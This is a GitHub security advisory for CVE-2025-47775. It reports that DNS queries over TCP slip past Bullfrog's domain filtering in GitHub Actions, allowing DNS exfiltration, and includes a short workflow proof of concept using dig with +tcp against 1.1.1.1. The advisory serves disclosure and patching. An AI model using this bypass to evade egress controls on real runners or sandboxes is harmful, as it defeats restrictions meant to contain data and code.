GHSA-m32f-fjw2-37v3: Bullfrog's DNS over TCP bypasses domain filtering

Skip to content

Navigation Menu

• • GitHub Copilot

    Write better code with AI

  • GitHub Advanced Security

    Find and fix vulnerabilities

  • Actions

    Automate any workflow

  • Codespaces

    Instant dev environments

  • Issues

    Plan and track work

  • Code Review

    Manage code changes

  • Discussions

    Collaborate outside of code

  • Code Search

    Find more, search less

• Explore

  • Learning Pathways
  • Events & Webinars
  • Ebooks & Whitepapers
  • Customer Stories
  • Partners
  • Executive Insights

• • GitHub Sponsors

    Fund open source developers

*   The ReadME Project
    
    GitHub community articles

• • Enterprise platform

    AI-powered developer platform

• Pricing

Provide feedback

Saved searches****Use saved searches to filter your results more quickly

Sign up

Appearance settings

1. GitHub Advisory Database
2. GitHub Reviewed
3. CVE-2025-47775

Bullfrog’s DNS over TCP bypasses domain filtering

Moderate severity GitHub Reviewed Published May 14, 2025 in bullfrogsec/bullfrog • Updated May 15, 2025

Package

Affected versions

< 0.8.4

Description

Summary

Using tcp breaks blocking and allows DNS exfiltration.

PoC

name: test
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: Use google dns
        run: |
          sudo resolvectl dns eth0 1.1.1.1
          resolvectl status
      - name: Set up bullfrog to block everything
        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
        with:
           egress-policy: block
           allowed-domains: |
             *.github.com
      - name: Test connectivity
        run: |
          echo testing udp allowed ..
          dig api.github.com @1.1.1.1 || :
          echo testing tcp allowed ..
          dig api.github.com @1.1.1.1 +tcp || :

          echo testing udp not allowed
          dig api.google.com @1.1.1.1 || :
          echo testing tcp not allowed
          dig api.google.com @1.1.1.1 +tcp || :

Impact

sandbox bypass

References

• GHSA-m32f-fjw2-37v3
• https://nvd.nist.gov/vuln/detail/CVE-2025-47775
• bullfrogsec/bullfrog@ae7744a
• https://github.com/bullfrogsec/bullfrog/releases/tag/v0.8.4

Published to the GitHub Advisory Database

May 15, 2025

Last updated

May 15, 2025

EPSS score